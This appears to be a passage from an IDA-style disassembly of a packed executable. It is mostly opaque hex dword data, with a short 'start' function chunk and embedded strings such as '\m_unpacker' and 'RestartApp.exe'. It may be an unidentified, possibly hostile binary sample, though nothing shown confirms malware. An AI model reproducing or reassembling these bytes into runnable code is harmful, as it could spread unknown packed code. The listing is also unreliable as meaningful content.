84C682A7h, 0F74FBC07h, 0C830ADE5h, 1AC1F23h dd 0BEAF306Ch, 0D014DDF3h, 4816BBE8h, 0C87F3Eh, 0B19400AEh dd 6267754Dh, 6601D6ABh, 3D351E4Fh, 0B1852C2Eh, 83DE8AEDh dd 0E030CDF4h, 1DE210BBh, 87E60748h, 72933476h, 145CF6A4h dd 0B1181B8h, 6F4B7EC7h, 733268C0h, 0D2891E31h, 2205E4E8h dd 5A710FB4h, 5840FE6Eh, 644C5BE5h, 84AEF424h, 0F9EFFA60h dd 93240AD7h, 19D8165h, 8B66FFBEh, 28402BF5h, 0E15C2D82h dd 1150E6Fh, 9F40E428h, 3BAB9BFFh, 8EEF9901h, 69D9BDD4h dd 175886E0h, 0C8BF78CEh, 1D5C7784h, 0CA6F01B8h, 5CE206Ch dd 33805450h, 1AB9004Ah, 0A96CB14Fh, 0F22689FCh, 0A8304536h dd 7F973EDh, 784CC76Bh, 0A42D9520h, 6717123Ch, 4300CDB8h dd 8DE2D5DAh, 66AE0997h, 1C042A90h, 1F90B3A3h, 20AEB208h dd 8D953160h, 92720256h, 6ADEBFB4h, 0CE8ABE60h, 0A8775Ch dd 0BEAE9D1Eh, 94DB8BE6h, 0CF4603Ch, 0F30099C7h, 92BBA442h dd 8ECBC8h, 5755D730h, 0D46D5B3Bh, 3840A0B6h, 732B4484h dd 292E18AAh, 43DE190Fh, 0F4899802h, 803A396Ah, 35A0EC4h dd 992044F7h, 81D7B73Dh, 0C2C6E992h, 93FC9B1Dh, 0A3D0E571h dd 0EE730379h, 0AA5C11BEh, 362B1000h, 82ECD96Dh, 0CF472718h dd 0C5B8A493h, 680F16A0h, 0A0377429h, 0C8E21798h, 8AD0006Ch dd 0EE783E9Fh, 7609867Dh, 680384F8h, 60AD5C5Ch, 8CD934C3h dd 0EB0F1AFAh, 60A4B5CEh, 7819B2C4h, 6B5CA053h, 91C7C6Fh dd 10775EFEh, 84E46C00h, 1D2C6CA2h, 0CF18982Fh, 9DCA2118h dd 0BEA8D033h, 1273F0E1h, 11B1B9C7h, 0C52B3440h, 198F094h dd 230BB24Ah, 60CBA4F1h, 8C5BFE4Ah, 5E9B023h, 1E99A518h dd 0F3AC0057h, 0FE730BD7h, 9430F14Ah, 1754DCBFh, 2010966Ah dd 27FC9A58h, 0BA774D00h, 4AD12971h, 0E7D9003Bh, 9C73C6F5h dd 47012A01h, 0DB1F35B7h, 88A5AA5h, 0AA83DDh, 44727A97h dd 41006888h, 0D9819209h, 0E09CF266h, 0B4200BEh, 7A013BA0h dd 3C03FB54h, 87D59D83h, 1340E741h, 62DEA15Ah, 321D60DDh dd 0F7BC0A60h, 562428C3h, 885CE877h, 5B0F1854h, 0D96989DAh dd 5FABCE0h, 0A2158903h, 0EB23742h, 1D5D2A61h, 0E7845B00h dd 800BBE0h, 0A4399895h, 1CBE335Fh, 40BA7D5Eh, 421DCF52h dd 6E600CE6h, 0F35835D8h, 0AE4A00F1h, 0A0EBBD05h, 0B131DEF9h dd 10B8F42Ah, 600CDDE0h, 0B0B3316Dh, 75035AFFh, 1C7DAF16h dd 0FA6498A9h, 0AA13020Fh, 0FF27F829h, 2B4347C0h, 0A16A570h dd 8000267h, 0FEB28559h dd 0B3643FB5h, 1B0242Ah, 5B152B72h, 0F382D5E4h, 59A98E90h dd 3B8A2F03h, 0FF01DFDCh, 0B96ECCh, 3CA62E6Ch, 23D8F095h dd 0D394C054h, 15C11100h, 0EFD01D92h, 2D7500A0h, 4EB49453h dd 0FEB0C62Eh, 265BCD18h, 389A5A79h, 73B70C1Ah, 5F80E9E1h dd 0D3EB6257h, 0FB6B9900h, 320D18CAh, 7C9D0005h, 37E17414h dd 2065CBEh, 51A49AC3h, 78280051h, 677ED115h, 8F704B53h dd 0F321A100h, 0C2390FCFh, 0E50C0471h, 90CD8829h, 8C87C604h dd 928A4800h, 737EEDD8h, 0DA900364h, 0DC2C0C83h, 194C2800h dd 788A1E23h, 135FECB5h, 0BDC6C3h, 2AEBACE8h, 95488B15h dd 30B7221Ch, 0B9925A4h, 56091384h, 7BB16D1h, 5950A80Fh dd 0E2102C22h, 605C7694h, 0CB0739CFh, 9F0768BEh, 6E914A78h dd 0DC99D450h, 52A67F46h, 0F400DCA4h, 6CD5CCFFh, 0EC017152h dd 9D6D7FD3h, 0AAE4563Bh, 4F9600C1h, 0B11898C2h, 8E07175Dh dd 2EA854B8h, 0A05ACAB0h, 2284A9F3h, 0FC815AE3h, 0DFF10074h dd 0E6819AA6h, 0C1BE00C2h, 0A92E7D2Ah, 57750727h, 51E45D06h dd 539CC23h, 4B81A324h, 75AC366h, 1A81C0C3h, 0DD4ED82Eh dd 0F40D6429h, 40858100h, 34337Bh, 5A66822Dh, 0E979722Eh dd 22926013h, 0FB5E401h, 6181DC40h, 232D9CFEh, 311180CBh dd 4C5F3B0h, 3BB40301h, 0D4594096h, 3CF1B9F8h, 384BF201h dd 23DBCEBCh, 3D479A5h, 86BAB58Fh, 24191EA6h, 19C25A5h dd 0DE261F1Ah, 0FC42E5B2h, 5D3D0BA6h, 705B8202h, 98EE9766h dd 3B64AAECh, 7A00276Ch, 0ABAEEFFEh, 0AD002FF3h, 0DE9AC624h dd 18C5A5Dh, 0B2570C12h, 51C88593h, 0DC0298B8h, 7D00F8F0h dd 6A287550h, 6CD3A4Dh, 5A2A3F56h, 0A430E9CEh, 0F579712Ch dd 252E00CAh, 0BB5791F0h, 51C0C588h, 6BAE2F36h, 0B40A00DAh dd 0E7CB94B0h, 2701BC6Fh, 5FA54EDEh, 0DF41EA2h, 0BE8000B4h dd 0B6CD578Ah, 300495F3h, 0FD9F7549h, 387158C1h, 0A6D81831h dd 83E60069h, 303B9C95h, 0C8A4432Ah, 995BA430h, 55F98Dh dd 8B5AAD94h, 4882F5CCh, 8EA2081Dh, 295041CCh, 0EA8910Dh dd 0BD404CF5h, 0A8CC79Dh, 0F4810200h, 3CBB70C0h, 0E032F89Fh dd 0B5DA002Fh, 2BAB830Bh, 0D2905AF3h, 50B42704h, 0C0C7C578h dd 0F97ECC0h, 6BC915Fh, 69290CF7h, 4F9DA301h, 0F384214h dd 7E8ED8h, 0DF3A4C10h, 0AFB3B4FEh, 1A279E03h, 758A5BCh dd 325F46A9h, 0AF7D3722h, 5245B562h, 470F82E0h, 0F53280A4h dd 20D91094h, 0A5B5F2CEh, 8F145C05h, 38873C62h, 441C9EC8h dd 0C0FF1271h, 7449029Dh, 339D9401h, 0F124015Dh, 225BD441h dd 6D00A832h, 2CA10BBh, 1609D40Ch, 891720F0h, 0B34C19ABh dd 0F8F6E4h, 0BC574066h, 0F1BBC904h, 42CD160Ch, 0EAFCD120h dd 412E2CFFh, 43A40004h, 0E656CC5Eh, 129C3158h, 94043512h dd 5B4920ACh, 856C900Dh, 0C9412A11h, 71FC28h, 0A5D73695h dd 6EC6CA7Dh, 530529E4h, 9248BF59h, 45CFC090h, 751D0E0Fh dd 7D275ADEh, 0D9672770h, 0D1E80898h, 3B889E00h, 30CCD7C0h dd 8FE13D7Ch, 0BE624107h, 0CC2ED7B9h, 3D88DA88h, 23361894h dd 0F54311C3h, 0CAEA8100h, 77E87B19h, 3CC98D4h, 0D3FF3D71h dd 0B97059A4h, 0E900C27Dh, 9E093584h, 6505140h, 242E9437h dd 0D0051C4h, 34E86142h, 15F0AAD3h, 0BC2B0CEBh, 0B90E3A79h dd 518EE81h, 0F4F093DFh, 0B60D3A1Eh, 0D921D9CEh, 3999C30h dd 3DBBF554h, 4100280Ch, 1618DAA4h, 7DBDFE9h, 91BA8530h dd 90CA4494h, 2654E118h, 9BC5CD00h, 0E57B5CC1h, 49EE290h dd 0B2FA27B1h, 72048CF6h, 37BB4000h, 8757AA18h, 0A08F0055h dd 0CEB4094Ch, 224C61EAh, 0B88E9Ch, 6A183FDCh, 90320025h dd 0A59A38E3h, 5873287Ah, 0C388ED19h, 60FC6E89h, 86C209EBh dd 700194D4h, 20DF1D06h, 7A12BBC4h, 0B8230DA2h, 0E08792EAh dd 703DBFBh, 0ED262E98h, 8CBF95A7h, 6E002FD4h, 0AA3DDAFCh dd 704BD91Eh, 526B00A0h, 0F57864EEh, 39065DCFh, 0D8480F8Ah dd 0EB2709B9h, 0B4020EDEh, 3CC42268h, 68AD11Ch, 735F2040h dd 0A7CA2Ch, 1051A3EBh, 0D2DCD9Ch, 0CB6E44h, 2FBF509h dd 0E4537324h, 0E5B9F228h, 0EA29750Fh, 0C77780C4h, 7A5CB3C5h dd 580D0003h, 79A09891h, 0BE03E5FAh, 23FFF553h, 0A18100C1h dd 0D34388D1h, 651DFC5Dh, 5E04048Eh, 7088D9CDh, 0B918A82Dh dd 6D77001Eh, 3F69E6E5h, 3102B38Dh, 0A55AF493h, 388009C0h dd 0C688FC98h, 6A2411C0h, 460201h, 0FB8D50C4h, 7D75C36Dh dd 80C8A348h, 708CD652h, 9CC100A2h, 9A0CDAE4h, 61036B90h dd 0FF365ECCh, 54D28D11h, 1E428DCh, 9472487Dh, 0AF89F0FDh dd 0DC1C9312h, 17447830h, 5922017Eh, 6BFAC8Eh, 3092F579h dd 0DAEC9A28h, 9F52BE09h, 233C8412h, 0E682B440h, 77A97BAh dd 0C900AC91h, 8D30C792h, 695B3B5Ah, 7CAB5174h, 30334C20h dd 811C287h, 421CFBB5h, 0AF838E01h, 1E22A455h, 0C39E7A61h dd 0C513FA20h, 197456E3h, 66556E00h, 300DB645h, 47AC0059h dd 0B8D719EDh, 0FA03999Eh, 859DF322h, 0BF6900F1h, 5DEEB95Eh dd 0F8FC1338h, 2BD20900h, 3EAAE34Dh, 5AD112E2h, 1820D09Dh dd 73032029h, 89EB2656h, 5FE5A7ACh, 0A6E31CC0h, 0E65D1403h dd 3C1BBC51h, 2DE1085Bh, 2073B1h, 0D068F483h, 5435B9h dd 4BAAC879h, 6F287BFCh, 89CAC2Eh, 2CA51280h, 0B1A65A0Dh dd 30BC1728h, 0FAFDA00Ch, 9AE4A100h, 9F3EC8D0h, 0C0B84CD1h dd 7653001h, 603D05A6h, 0A0DCDDA4h, 0C8C5230Ah, 0A9FC5687h dd 0EF2E7510h, 0F45C3D57h, 30AD4298h, 0DA58CED3h, 0C6878604h dd 98F30081h, 0AE7F64C3h, 0E5010D67h, 0B250C7E1h, 2462ADCEh dd 3F303A2Ch, 1104542Eh, 57301E34h, 0C181581Bh, 31BF220Ch dd 0F041B100h, 5AE79C0Bh, 71C99F32h, 46422h, 8EB8D49Ah dd 0BC5C92ABh, 0ECFD1CE4h, 0AFE47797h, 0A37AE1F4h, 0ADD67D09h dd 20C88493h, 0BE48E30h, 0B840234Ah, 1A39A1D7h, 607000CAh dd 8287ADF8h, 0D5073C30h, 1DD3DB9Ah, 661A10D2h, 19774E0h dd 57B72A45h, 281C6ACAh, 20CB8F84h, 3C6C5338h, 284A0155h dd 7CC73E6Dh, 0EAB46026h, 199B8300h, 0CF57B45Ah, 9106F6D3h dd 0DD7F8090h, 0CDF0D2DCh, 70D83706h, 0C16F0Ch, 72CC7EB9h dd 564C41Fh, 0E4912F03h, 0AA112CAEh, 9D2CE399h, 0EB09FC01h dd 0A0488828h, 6BB91437h, 0C200CF0Ah, 0EE2BAC2Dh, 7E38EA8Ah dd 91491877h, 133D3938h, 38BFDBEh, 0F28901B8h, 5121870h dd 802088AEh, 12B7014h, 0FF279F3Bh, 0F8FE7F79h, 5A2ACCBAh dd 0C509EC37h, 6A47CD42h, 0D22882F8h, 4CE4A5h, 7823F8A6h dd 5CBE367Fh, 3F310F58h, 0B4AA75CEh, 0EC206020h, 1801A4E3h dd 0A558E11Bh, 14BCC13h, 80EDFFFFh, 0 db 0 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR start loc_4EB08D: ; CODE XREF: start:loc_48F265j ; DATA XREF: start:loc_48F086o jmp loc_4EE35A ; END OF FUNCTION CHUNK FOR start ; --------------------------------------------------------------------------- align 4 dd 0Dh dup(0) dd 10000h, 0C4E50000h, 4EBFFFFh, 301h, 0FCFC0000h, 8001h dd 27C90000h, 0B5E20053h, 8A0Fh, 0B5360000h, 5BE5004Eh dd 51h, 2 dup(0) dd 90400000h, 0FFFFh, 30DF0000h, 0A9C5h, 0 dd 67C20000h, 54h, 70AD0000h, 3045405h, 7FFEh, 0 dd 0CB4F0000h, 0C62Ch, 1B400000h, 418D76B4h, 52h, 3A430000h dd 755F6D5Ch, 6361706Eh, 72656Bh, 7Eh dup(0) dd 35B0000h, 20000h, 3 dup(0) dd 4EC00000h, 0AC18h, 3 dup(0) dd 77E6h, 3 dup(0) dd 189A0000h, 77DDh, 0 dd 1ECC0000h, 561Ch, 6 dup(0) dd 34EB0000h, 4649h, 8FFB0000h, 4 dup(0) dd 10000h, 0Ch dup(0) dd 8400000h, 86h, 5 dup(0) dd 9C370000h, 9Ah, 69DD0000h, 9Ah, 0Fh dup(0) dd 8D200000h, 0FFFFh, 60980000h, 0Eh dup(0) dd 3040000h, 7FFEh, 31450000h, 9Ah, 4 dup(0) dd 340000h, 47EB0005h, 21680052h, 77E8h, 10000h, 4 dup(0) dd 1050000h, 0BC0A28h, 55F60000h, 0E210000h, 0DD8h, 0FFB00000h dd 201FAh, 5 dup(0) dd 68630000h, 51h, 2 dup(0) dd 0F9000000h, 2 dup(0) dd 8FFB0000h, 0 dd 9DB20000h, 2292BFFFh, 0FFFF009Ah, 0FFFFh, 0B7800000h dd 0 dd 0B57F0000h, 633FEh, 24h dup(0) dd 49C00000h, 52h, 0 dd 3EB80000h, 0A80014h, 3 dup(0) dd 0FDFF0000h, 0DFh, 0F30E0000h, 77E7h, 10000h, 9 dup(0) dd 0C0000h, 23Bh, 7 dup(0) dd 0E3360000h, 0FD087FFEh, 12h, 3 dup(0) dd 0D06E0000h, 52h, 0Fh dup(0) dd 0FF900000h, 0FE18FFFFh, 0FFBFh, 15680000h, 9DAF009Bh dd 55h, 0F80000h, 99h, 0 dd 0D88A0000h, 0B1CAFFABh, 0A8h, 9 dup(0) dd 8FFB0000h, 5 dup(0) dd 26A00000h, 0FECBh, 3 dup(0) dd 280000h, 5 dup(0) dd 0C9480000h, 54h, 7 dup(0) dd 3EB10000h, 0FA74h, 2 dup(0) dd 0B08D0000h, 0FA4Bh, 6 dup(0) dd 7820000h, 0FFFC7CCEh, 0FFFFh, 7C5C0000h, 5B04h, 0 dd 10CF0000h, 5E1Bh, 3 dup(0) dd 5ADC76B4h, 840F984h, 86h, 3 dup(0) dd 8D8D0000h, 8A6Fh, 3C0000h, 5CB577E6h, 77E7h, 3 dup(0) dd 21CD0000h, 4649h, 8C0A0000h, 0FFFC009Ah, 0FFFFh, 99950000h dd 9Eh, 8 dup(0) dd 0FFB00000h, 20Ah, 4 dup(0) dd 8D8D0000h, 8A6Fh, 3040000h, 7FFEh, 0 dd 0C4120000h, 169F0054h, 686Fh, 0Ah dup(0) dd 6B9C0000h, 243h, 2 dup(0) dd 23Bh, 2 dup(0) dd 0FFFE0000h, 55h, 4 dup(0) dd 0DDFB0000h, 9499FFFFh, 6A76009Ah, 0B0A1h, 10000h, 70000000h dd 65BA0003h, 7407h, 0 dd 432Dh, 12h dup(0) dd 40000h, 53000000h, 23E85251h, 9Bh, 5 dup(0) dd 0C0000000h, 8, 0B7800000h, 8 dup(0) dd 2D680000h, 55h, 0FF660000h, 0FFB3h, 7 dup(0) dd 92DD0000h, 0A837771Dh, 77E7h, 3 dup(0) dd 0C5DE0000h, 50AEh, 0 dd 939300B1h, 0ED52009Ah, 0F420051h, 0DCBFh, 55FC0000h dd 26FBh, 0 dd 30DF0000h, 0A9C5h, 74B90000h, 3ED4h, 0 dd 86EE0000h, 3463h, 648E0000h, 0FFFF0055h, 0FFFFh, 2Bh dup(0) dd 0E2F00000h, 93EF0052h, 77E7h, 0C29D0000h, 675AFFAAh dd 0B811h, 5 dup(0) dd 0FCFC0000h, 59F08001h, 77DDh, 2 dup(0) dd 70C40000h, 9Ah, 0 dd 7E650000h, 8050h, 4 dup(0) dd 0F7F70000h, 0FCFC0053h, 8001h, 8 dup(0) dd 0C3960000h, 18A1004Eh, 0A2F00054h, 9Ah, 9 dup(0) dd 21980000h, 7FD83451h, 9Ch, 0Bh dup(0) dd 79AF0254h, 55h, 2 dup(0) dd 4AF00000h, 32h, 40000h, 2 dup(0) dd 69DD0000h, 9Ah, 0B53D0000h, 15E1Bh, 230000h, 52h, 36DF0000h dd 32680055h, 9Bh, 5 dup(0) dd 49C00000h, 0A1440052h, 77E7h, 0 dd 20000h, 6 dup(0) dd 0A40000h, 2 dup(0) dd 0CDF90000h, 52h, 49C00000h, 52h, 9 dup(0) aCxS db '-CX',27h,'S',0 align 4 dd 6 dup(0) dd 0FCFC0000h, 8001h, 5 dup(0) dd 0E7B00000h, 151h, 0 dd 8C0000h, 0EE80000h, 4 dup(0) dd 0B3010000h, 5E53h, 8FFB0000h, 0DEF70000h, 1077h, 79630000h dd 77E7h, 8CA10000h, 0FFFFh, 2 dup(0) dd 0F72B0000h, 11Ah, 65950000h, 3B7Bh, 0 dd 10000h, 4 dup(0) dd 954B0000h, 59604BEBh, 6EA9h, 0 dd 0B5E20000h, 8A0Fh, 0 dd 0B53D0000h, 0D44FFA1Dh, 57h, 9F70000h, 9Ah, 3 dup(0) dd 0E800000h, 4 dup(0) dd 3040000h, 7FFEh, 0 dd 99E90000h, 16h dup(0) dd 0FFFF0000h, 0FFFFh, 5 dup(0) dd 8FFB0000h, 3040000h, 7FFEh, 76C20000h, 5D02h, 0 dd 0A00000h, 1Dh dup(0) dd 0A8370000h, 77E7h, 0BCEB0000h, 9FA41013h, 0BB4E3881h dd 19A1004Eh, 42EB0286h, 5763h, 8C270000h, 3364h, 3 dup(0) dd 0FF540000h, 12h, 9 dup(0) dd 390000h, 3 dup(0) dd 800000h, 0 dd 10000h, 23D70000h, 77DDh, 0 dd 65520000h, 72617473h, 70704174h, 6578652Eh, 230000h dd 915B0052h, 9Ah, 3 dup(0) dd 6180000h, 77E8h, 2 dup(0) dd 0A00F0000h, 9Ah, 4 dup(0) dd 0B95E0000h, 0 dd 0BF360000h, 0B16855F7h, 99h, 0Ah dup(0) dd 0D09B0000h, 0F8BCh, 0 dd 20000000h, 3F250000h, 52h, 4 dup(0) dd 0EDCF0000h, 0B34A004Eh, 75D7h, 3 dup(0) dd 0D1E0000h, 0CD7Eh, 0Dh dup(0) dd 5910000h, 77E8h, 4 dup(0) dd 0DE370000h, 0FFADh, 0 dd 10000000h, 40h, 0B9h dup(0) dd 155C0000h, 2, 2 dup(0) dd 30DF0000h, 2121A9C5h, 0B53D2121h, 0FA1Dh, 0 dd 0C3960000h, 4Eh, 5C0000h, 3E8FFEDh, 7 dup(0) dd 648E0000h, 55h, 2 dup(0) dd 7F810000h, 6F55h, 40h, 2 dup(0) dd 7FDD0000h, 55h, 3 dup(0) dd 743B0000h, 7656h, 0EAF90000h, 51h, 0Fh dup(0) dd 42890000h, 7FACh, 5 dup(0) dd 53C60000h, 2624h, 19h dup(0) dd 49C00000h, 52h, 0 dd 8CEE0000h, 55h, 0A00000h, 0AEDA0000h, 0E15Fh, 0Ch dup(0) dd 0C8F90000h, 52h, 0Ah dup(0) dd 19800000h, 0D554F98Bh, 39AB0099h, 7FFEh, 5 dup(0) dd 21C90000h, 52h, 2Dh dup(0) dd 6CB0000h, 5120h, 0 dd 25AB0000h, 1FFF0000h, 2 dup(0) dd 3040000h, 7FFEh, 0 dd 0FCFC0000h, 8001h, 3 dup(0) dd 3040000h, 7FFEh, 0ED1D0000h, 77D5h, 4 dup(0) dd 3040000h, 7FFEh, 3 dup(0) dd 0D77E0000h, 5F61h, 5 dup(0) dd 0DE360000h, 0FF59h, 0 dd 79730000h, 69DD77E7h, 9Ah, 39340000h, 0F9BAh, 7 dup(0) dd 0A5FE0000h, 77E7h, 0Dh dup(0) dd 65BB0000h, 7407h, 5220000h, 55h, 4 dup(0) dd 61040000h, 75B5AA5Dh, 0 dd 20000h, 4 dup(0) dd 7D10000h, 4 dup(0) dd 21CD0000h, 5 dup(0) dd 0ACC50000h, 52h, 0A00F0000h, 9Ah, 24240000h, 2424h dd 3E3B0000h, 62D0009Ah, 55h, 2 dup(0) dd 5E2E0000h, 9Ah, 2 dup(0) dd 0DE330000h, 0C396FFFFh, 4Eh, 8FFB0000h, 4 dup(0) dd 0A5FE0000h, 9477E7h, 418D0000h, 52h, 0Eh dup(0) dd 4B400000h, 88E14Ch, 5 dup(0) dd 76BC0000h, 4 dup(0) dd 0F7DA0000h, 4972h, 2 dup(0) dd 0A6000000h, 0DA820052h, 0D583004Eh, 55h, 57460000h dd 0AD1Ah, 30DF0000h, 0A9C5h, 0 dd 0AA4C0000h, 0FAAAh, 3 dup(0) dd 68630000h, 51h, 5 dup(0) dd 2BDE0000h, 9Ah, 0B9620000h, 4Eh, 2 dup(0) dd 3040000h, 7FFEh, 3 dup(0) dd 0FCFC0000h, 8001h, 4 dup(0) dd 1F640000h, 0F46Fh, 3 dup(0) dd 0B0F00000h, 1699h, 0C8960000h, 0A1FE4A71h, 0AAh, 0 dd 0FFB00000h, 1FAh, 0 dd 57940000h, 0A00F0052h, 9Ah, 3 dup(0) dd 0A47E0000h, 313629ADh, 14Ah, 10000h, 0 dd 9360000h, 53h, 0 dd 8A80000h, 0 dd 68630000h, 8D8D0051h, 724Fh, 8 dup(0) dd 0FFFF0000h, 77DFh, 3 dup(0) dd 8FFB0000h, 3 dup(0) dd 0E0CB0000h, 3D7Ch, 2 dup(0) dd 20F60000h, 0CC8C0055h, 2198DDDAh, 3451h, 4 dup(0) dd 8A80000h, 0 dd 56430000h, 0Ah dup(0) dd 0BEE90000h, 3636000Ch, 0EE0D3636h, 54h, 6 dup(0) dd 2F820000h, 4A2Dh, 5 dup(0) dd 0C7260000h, 4Eh, 0 dd 0A8DF0000h, 52h, 2 dup(0) dd 3D310000h, 2319B4h, 52h, 71D0000h, 0Ah dup(0) dd 34300000h, 312Dh, 2 dup(0) dd 0B3B20000h, 4Eh, 0 dd 0E6920000h, 5DF4003Eh, 7 dup(0) dd 86040000h, 7F8Ch, 2 dup(0) dd 0FCFC0000h, 8001h, 5 dup(0) dd 740000h, 2 dup(0) dd 0E56E0000h, 1C83Fh, 4 dup(0) dd 69DD0000h, 9Ah, 3 dup(0) dd 84800000h, 0 dd 40000h, 0 dd 3E0000h, 5F070099h, 0AB26h, 0AC0000h, 0F2AAFFEDh, 2132h dd 3 dup(0) dd 99B30000h, 979D0052h, 9393FFAEh, 0A500009Ah, 0FFFFh dd 0 dd 90980000h, 0A600931Eh, 52h, 0 dd 0AC0000h, 9D540000h, 915BFFFFh, 39AB009Ah, 7FFEh, 0 dd 8B810000h, 7973h, 2 dup(0) dd 0BDDE0000h, 49A8h, 0Dh dup(0) dd 230000h, 4Eh, 9 dup(0) dd 0A00F0000h, 0A5FC009Ah, 53h, 6 dup(0) dd 0D4310000h, 0EBB0h, 9 dup(0) dd 7C900000h, 0FFE00054h, 12h, 2 dup(0) dd 0A0990000h, 77E7h, 0 dd 0B53D0000h, 0FA1Dh, 0 dd 8EB0000h, 0 dd 96AA0000h, 8B820012h, 0C6A177E7h, 227Bh, 0 dd 0B60776B4h, 14EBA646h, 78E83417h, 54h, 800000h, 4 dup(0) dd 20000h, 5 dup(0) dd 900000h, 0Bh dup(0) dd 0FFB00000h, 892701DAh, 55h, 4 dup(0) dd 0A00F0000h, 49D2009Ah, 0A00F0052h, 19009Ah, 3 dup(0) dd 0A53C0000h, 0 dd 8D8D0000h, 5B007069h, 2 dup(0) dd 99E90000h, 1D990000h, 5EBFh, 0Bh dup(0) dd 0FF540000h, 12h, 69DD0000h, 9Ah, 0A1440000h, 77E7h dd 3E680000h, 77E8h, 2 dup(0) dd 10000h, 4 dup(0) dd 0B1340000h, 9Ch, 9 dup(0) dd 0F1F40000h, 0EADFD62Bh, 51h, 9 dup(0) dd 0CF920000h, 0BFFF004Eh, 57h, 2 dup(0) dd 79F60000h, 55h, 6 dup(0) dd 0EDC60000h, 0D4B0h, 0 dd 3C6A0000h, 5CACFFB1h, 87ACh, 8ADC0000h, 0FFFFh, 0B7800000h dd 2Dh dup(0) dd 0B80000h, 0B000000h, 0C20374C0h, 448B0018h, 0E8530C24h dd 0 dd 17C3815Bh, 89000000h, 8910245Ch, 5B142444h, 9AA037B8h dd 8BE0FF00h, 0FF042444h, 0E0h, 12h dup(0) dd offset dword_450050+1FFB0h dd 0E4D5AAh, 417C0000h, 77E8h, 3 dup(0) dd 77DDh, 788B0000h, 53h, 0 dd 1B3577F5h, 3E2D35D2h, 0 dd 77D10000h, 8 dup(0) dd 0B53D0000h, 0FA1Dh, 2 dup(0) dd 34EB0000h, 3044649h, 7FFEh, 6 dup(0) dd 3040000h, 7FFEh, 8420000h, 98FFCFh, 1DEF0000h, 23A2h dd 2 dup(0) dd 17C30000h, 47h, 0A0370000h, 9Ah, 0E96D0000h, 2140004Eh dd 2, 0EDB60000h, 0FFF7h, 59260000h, 51h, 3 dup(0) dd 0C96A0000h, 77D4h, 5 dup(0) dd 0CE3D0000h, 20052h, 2 dup(0) dd 5ECC0000h, 284877DDh, 0FF06h, 22DC0000h, 56h, 0F0140000h dd 19A10008h, 9018h, 3 dup(0) dd 0FF600000h, 0EE80012h, 142Dh, 2 dup(0) dd 0A00F0000h, 9Ah, 0 dd 1FC10000h, 55h, 1D980000h, 5EBFh, 0E2F00000h, 0A6E90052h dd 0C61777EBh, 0FFF9h, 7 dup(0) dd 0A47E0000h, 0FFC429ADh, 0F39C0012h, 53h, 0AA000000h dd 0FFB30003h, 19371D5Fh, 54h, 0 dd 5520000h, 8400055h, 86h, 0C3E0000h, 5CC1h, 0 dd 0CA600000h, 0E151h, 0FFB00000h, 39E9015Ah, 52AD0006h dd 4588h, 2 dup(0) dd 840000h, 2 dup(0) dd 49C00000h, 3A00052h, 2 dup(0) dd 35740000h, 96730055h, 0FE2Ah, 0A8FD0256h, 304FFFFh dd 7FFEh, 12h dup(0) dd 374F0000h, 53h, 0 dd 18FE0000h, 54h, 0 dd 5C0000h, 0 dd 1B350000h, 35D2h, 7 dup(0) dd 0E0D10000h, 0C6BCh, 0C80A0000h, 0E175h, 5D80000h, 77E8h dd 4 dup(0) dd 8400000h, 86h, 3 dup(0) dd 9B390000h, 3866h, 8400000h, 86h, 0Bh dup(0) dd 7BB90000h, 0A87E7CBEh, 486DFFADh, 103Eh, 6B4F0000h dd 9778h, 2 dup(0) dd 0E6410000h, 53h, 0F47C0000h, 53h, 11h dup(0) dd 5A130000h, 0FF06h, 3 dup(0) dd 275B0000h, 53h, 0 dd 418D0000h, 52h, 2 dup(0) dd 0FFB00000h, 1AAh, 66B80000h, 52h, 69DD0000h, 9Ah, 0 dd 3040000h, 7FFEh, 0EDA20000h, 0BC260051h, 0AC5E004Eh dd 5B0077E7h, 0 dd 9C0000h, 0A1290000h, 52h, 2 dup(0) dd 0FE60000h, 99h, 0 dd 0AAC10000h, 1, 8C0A0000h, 9Ah, 0 dd 0B22D0000h, 2222FA5Bh, 22222222h, 2222h, 3040000h, 7FFEh dd 3 dup(0) dd 7D760000h, 0E1C7FFFDh, 0B9E6004Eh, 0FFFFh, 969D0000h dd 0DBEh, 2 dup(0) dd 0D0000000h, 48h, 0 dd 92340000h, 31B1009Ah, 0B53D0000h, 0 dd 0A1290000h, 52h, 0 dd 184E0000h, 53h, 2 dup(0) dd 8560000h, 0 dd 73160000h, 9Ch, 4 dup(0) dd 33330000h, 2 dup(33333333h), 3BE83333h, 53h, 99h, 10h dup(0) dd 7B240000h, 1300D5B4h, 4 dup(0) dd 20000h, 4 dup(0) dd 8EB70000h, 4Ch, 2 dup(0) dd 0A5E70000h, 9Eh, 0Bh dup(0) dd 0BC260000h, 4Eh, 5B000000h, 0C0000000h, 3040016h, 7FFEh dd 8D8D0000h, 0DB8F4718h, 1BEh, 7C0000h, 2 dup(0) dd 0B6D60000h, 0ED7A004Eh, 51h, 8B820000h, 77E7h, 0 dd 22D80000h, 9Bh, 9B380000h, 3866h, 0D75B0000h, 7476h dd 84D00000h, 0A78Fh, 2 dup(0) dd 44180000h, 0A331h, 3 dup(0) dd 0D40000h, 0D88A0000h, 0FFABh, 5 dup(0) dd 20000h, 2 dup(0) dd 21CD0000h, 0 dd 0C96A0099h, 0F3ED77D4h, 1458h, 0 dd 8, 68630000h, 51h, 9BAC0000h, 9Ch, 3 dup(0) dd 0FFB00000h, 17Ah, 2 dup(0) dd 5CB50000h, 77E7h, 0E4240000h, 54h, 0 dd 10000h, 0 dd 0C15A0000h, 52h, 0 dd 0F1AC0000h, 99E9004Eh, 0 dd 6E650000h, 2, 5F070000h, 0AB26h, 9 dup(0) dd 0C6CE0000h, 1FFF0055h, 0 dd 3040000h, 7FFEh, 0FA560000h, 9Ah, 4 dup(0) dd 3040000h, 7FFEh, 4 dup(0) dd 30DF0000h, 0A9C5h, 0 dd 2380000h, 40h, 2 dup(0) dd 33DA0000h, 2 dup(0) dd 0D07E0000h, 0B5D2h, 2 dup(0) dd 0A00F0000h, 9Ah, 84h dup(0) dd 0F7C00000h, 0FF79h, 2 dup(0) dd 56780000h, 180B1234h, 77F5h, 0 dd 63970000h, 53h, 9 dup(0) dd 0FFF00000h, 3040012h, 7FFEh, 4 dup(0) dd 6BCE0000h, 0B5E20243h, 8A0Fh, 0E1C60000h, 4Eh, 11110000h dd 1111h, 5 dup(0) dd 0FFA40000h, 0FCFC0012h, 8001h, 10000h, 0AB450000h, 1828h dd 8 dup(0) dd 39AB0000h, 74547FFEh, 0 dd 8FFB0000h, 4 dup(0) dd 0A9880000h, 0EDCBh, 0BABC0000h, 1536Ah, 6, 0Bh dup(0) dd 0FE6E0000h, 